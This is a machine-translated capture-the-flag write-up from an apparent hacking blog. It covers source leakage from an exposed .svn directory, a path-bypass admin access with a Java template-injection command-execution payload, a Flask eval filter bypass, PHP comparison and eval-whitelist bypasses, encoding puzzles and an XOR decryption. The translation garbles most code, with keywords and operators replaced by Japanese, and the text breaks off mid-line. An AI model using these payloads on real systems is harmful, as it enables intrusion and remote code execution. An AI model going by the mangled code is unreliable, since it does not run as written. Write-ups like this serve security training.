Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863545250

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

web

input_data

The Tool https://github.com/kost/dvcs-ripperを使用します

./rip-svn.pl -u 3http://101.200.58.4:10005/.svn

.svnディレクトリをダウンロードします

次に、構造を確認し、いくつかのファイルを見つけます

1049983-20241004174649885-874008864.jpg

cdディレクトリを入力してから、catファイル名フラグ{5674938f-803d-4c41-8f84-a77f5164bb4f}を表示します

1049983-20241004174650809-663276795.png

フラグ:旗{5674938F-803D-4C41-8F84-A77F5164BB4F}

admin

オーバーライド許可を通じて管理者への最初のアクセス、アクセスパスは次のとおりです

/;/admin

1049983-20241004174651495-30944686.jpg

次に、BP辞書の列挙はパラメーターを渡すために使用され、パスはSTIをテストするために使用されます。テスト後、Javaビュー操作STIを使用する必要があることがわかりました。

次のようにペイロード

http://101.200.58.4:3333/;/admin?path=__ $%7bnew%20java.util.scanner(t(java.lang.runtime).getruntime()

成功したコマンド実行:

1049983-20241004174652133-174386126.jpg

フラグ:flag {5d28c6ce-fede-498a-9053-6fe53f54f7d3}

フラスコ

質問のソースコードは次のとおりです

フラスコのインポートフラスコから、リクエスト、応答

Reをインポートします

app=flask(__name__)

@app.route( '/')

def index():

evalme=request.args.get( 'evalme')

if((evalmeではない)またはre.search(r '[a-zd-z \\。 /*$#@!+^]'、evalme)):

「ハッカー?」を返します

a=eval(evalme)

印刷(1)

f:として開いている(a、 'rb')

返信応答(f.read())

__name__=='__main __' :の場合

app.run(port=8081、debug=true)

文字は無効になっているため、ABCはフォーマットされた文字列を構築することもできますが、実際には、ABCがない場合でも、Unicode文字でバイパスすることもできます。

コマンドは次のとおりです。フォーマット文字列コンストラクトファイル名/フラグ

/?evalme=[a:=%22%c%c%c%c%c%c%c%c%22%(47,102,108,97,103)] [-1]

1049983-20241004174652875-1561261817.jpg

非常に多くのフラグ

次のレイヤーファイルf1aaj.phpはソースコードにあります

Cookie/flll4g.phpのタイトルの次のレイヤーでファイルを見つける

1049983-20241004174653545-1530320814.jpgFLLLL4G.PHPアクセスソースコードは次のとおりです

?php

if(isset($ _ get ['x'])){

$ temp=$ _get ['x'];

is_numeric($ temp)? die( 'no numeric'): null;

if($ temp 9999){

echo 'pupil./br';

} それ以外{

die( 'no!no!no!');

}

}

それ以外{

die( 'xはどこですか?');

}

if(isset($ _ get ['y'])){

$ md5=$ _get ['y'];

if($ md5==md5($ md5)){

Echo 'ジュニアスクールの生徒//br';

} それ以外{

die( 'no!no!no!');

}

}

それ以外{

die( 'yはy?');

}

if(isset($ _ get ['z'])){

$ content=$ _get ['z'];

if(strlen($ content)=60){

die( '長い!');

}

$ blackList=[''、 '\' ''、 '' '、' `''、 '\ ['、 '\]、' \ {'、'} '、' \ t '、' \ r '、' \ n '];

foreach($ blacklist as $ blackitem){

if(preg_match( '/'。$ blackitem。 '/m'、$ content)){

die( 'no!no!no!');

}

}

$ security=['abs'、 'base_convert'、 'cos'、 'dex'、 'exp'、 'f1ag'、 'getrandmax'、 'hexdec'、 'is_nan'、 'log'、 'max'、 'octdec'、 'pi'、 'sin'、 'tan'];

preg_match_all( '/[a-za-z_ \ x7f- \ xff] [a-za-z_0-9 \ x7f- \ xff]*/'、$ content、$ used_funcs);

foreach($ used_funcs [0] as $ func){

if(!in_array($ func、$ security)){

die( 'no!no!no!');

}

}

eval( 'echo'。$ content。 ';');

if(isset($ f1ag)){

if($ f1ag=='flag'){

Echo '高校生/BR';

echo 'here_is_flag !';

}

}

それ以外{

echo 'no!no!no!';

}

}

それ以外{

die( 'zはどこですか?');

}

最初の方法

最初のステップは、is_numericをバイパスして配列を使用することです

ステップ2:MD5はインターネットをバイパスし、たくさん検索します

X []=10000Y=0E215962017Z=log($ f1ag=0)

3番目のステップは0でバイパスでき、ログ関数はx []=10000y=0E215962017z=log($ f1ag=0)になります。

1049983-20241004174654218-291559251.jpg

または、cos関数x []=10000y=0E215962017z=cos($ f1ag=0)を使用します

1049983-20241004174700986-1030522670.jpg

その他:

情報セキュリティ競争の通知

開いた後、色を変更すると、旗が表示されます

1049983-20241004174701674-30547865.jpg

複数のエンコーディング

添付ファイル:

エンコーディング 1:+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++ - ] ++++++。

2:([](! []+[])[!+[]+!+[]]+([] []]+[])[+!+[]]+(! []+[])[+[]]+(! []+[])[+!+[]+([![]]+[]) +(![]+[])[!+[]+!+[]+!+[]+]+]+[!+[]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+ ]+!+[]+!+!+ (! []+[])[!+[]+!+[]+!+[]+[]+[!+]+!+[]+!+[]+[]+[]+[]+[])[!+[]+!+[]+!+[]+([](! []+[])[!+[]+[]+[]+[]+ ([] [] []]+[])[+!+[]+(! []+[])[+!+[]]+([![]]]+(! []+[])[+!+[]]+([![! +[] [])[+!+[]+[]+[]+(![]+[]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]+[]+]+]+[]+]+[]+[]+[]+[]+[]+

コード3:OOK。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook。 ook? ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!

ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ook? ook。 ook?ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。ああ! ook?ああ!ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook。 ook? ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ!

ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook?

ook。 ook?ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook。 ook。 ook。 ook。

ああ! ook。ああ! ook。ああ!ああ!ああ! ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ!ああ!ああ!ああ!ああ!ああ!

ああ! ook。 ook。 ook。 ook。ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ! ook。 ook?

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。ああ! ook。 ook? ook。

最初の段落jsfuck復号化:flag {ab71cda1

1049983-20241004174702278-1588943883.png

2つのセグメントすべてデコード:B495E13B3F21

1049983-20241004174702915-638662998.png

3番目の段落ook復号化:F6FD50221978}

1049983-20241004174703724-567341788.jpg

フラグ{AB71CDA1B495E13B3F21F6FD50221978}

bluetooth

zipを見つけてKeキーを持っているグローバル検索フラグ

1049983-20241004174704552-93359001.jpg明らかな圧縮パッケージとflag.txtドキュメントが見つかりました

1049983-20241004174705291-1547728920.jpgキーキーもあります

1049983-20241004174705931-1082659547.jpg圧縮パッケージをエクスポートします

1049983-20241004174706446-1289494769.jpg

圧縮パッケージをエクスポートします

ここの誰かがこれらの2つのファイルをエクスポートする方法を知りません。簡単に話しましょう

最初のタイプ

トラフィックパッケージファイルを変更して、zipを減圧して分離して抽出するなどの圧縮パッケージ形式に変更します

2番目のタイプ

関連するコマンドでトラフィックパッケージファイルを直接分離します

3番目のタイプ

トラフィックパッケージを開き、キーワードを使用して元のデータを見つけます。 16進ファイルをコピーしてインポートします。圧縮パッケージを取得するには、テキストの開始と終了を変更する必要があります。

知らせ

ここの多くの人々は圧縮パッケージを入手し、ファイルが破損しており、開くことができないことを発見します。ここでは、減圧ソフトウェアを変更できます。

ciphertextとkey :を取得します

flag.txt:

10004583275926070044326083910251708233320797793557792087030978163051881401914132269450797

キー:52162946952118202938062470298887026154798297270637676463374801674742298813146203404040756931515222

これが暗号文とキーです

十進数六量体スクリプト

def hex(number):

hex_str=hex(number)[2:]

Len(hex_str)==1:の場合

hex_str='0' + hex_str

hex_strを返します

__name__=='__main __' :の場合

number=int(input( 'input3360'))

hex_representation=hex(number)

print(f '{number}' 16進表現は: {hex_representation} ')です。

秘密のテキスト

4E94DCDB6DE87E65D263419EC45AEC93E8A2E1D386B31FB804E0F02366DF44DBE86A8A8A7C462D

28F8BDBC16DE4850E05579ACF33C8AA08AC3D9E6E3822B8C3081C04700EB25B88A08EB457550

xor
を実行します

#暗号化された暗号文と16進文字列を定義します

txt='4e94dcdb6de87e65d263419ec45aec93e8a2e1d386b31fb804e0f02366df444dbe86a8a8a7c462d'

Key='28F8BDBC16DE4850E05579ACF33C8AA08AC3D9E6E3822B8C3081C04700EB25B88A08EB457550' '

#ヘキサデシマル文字列をバイトオブジェクトに変換します

ciphertext_bytes=bytes.fromhex(txt)

key_bytes=bytes.fromhex(key)

#decryptionにbyte-byte xorを使用します

#注:ここでは、キーと暗号文は同じ長さであると想定されています。そうしないと、zipはより短い長さに切り捨てられます

decrypted_bytes=bytes([c ^ k for c、k in zip(ciphertext_bytes、key_bytes))))

#復号化されたバイトオブジェクトを文字列にデコードして、デコードできないバイトを無視してみてください

#ここでは、復号化されたバイトのほとんどを有効なUTF-8文字にデコードできると想定されています

print(decrypted_bytes.decode(errors='ig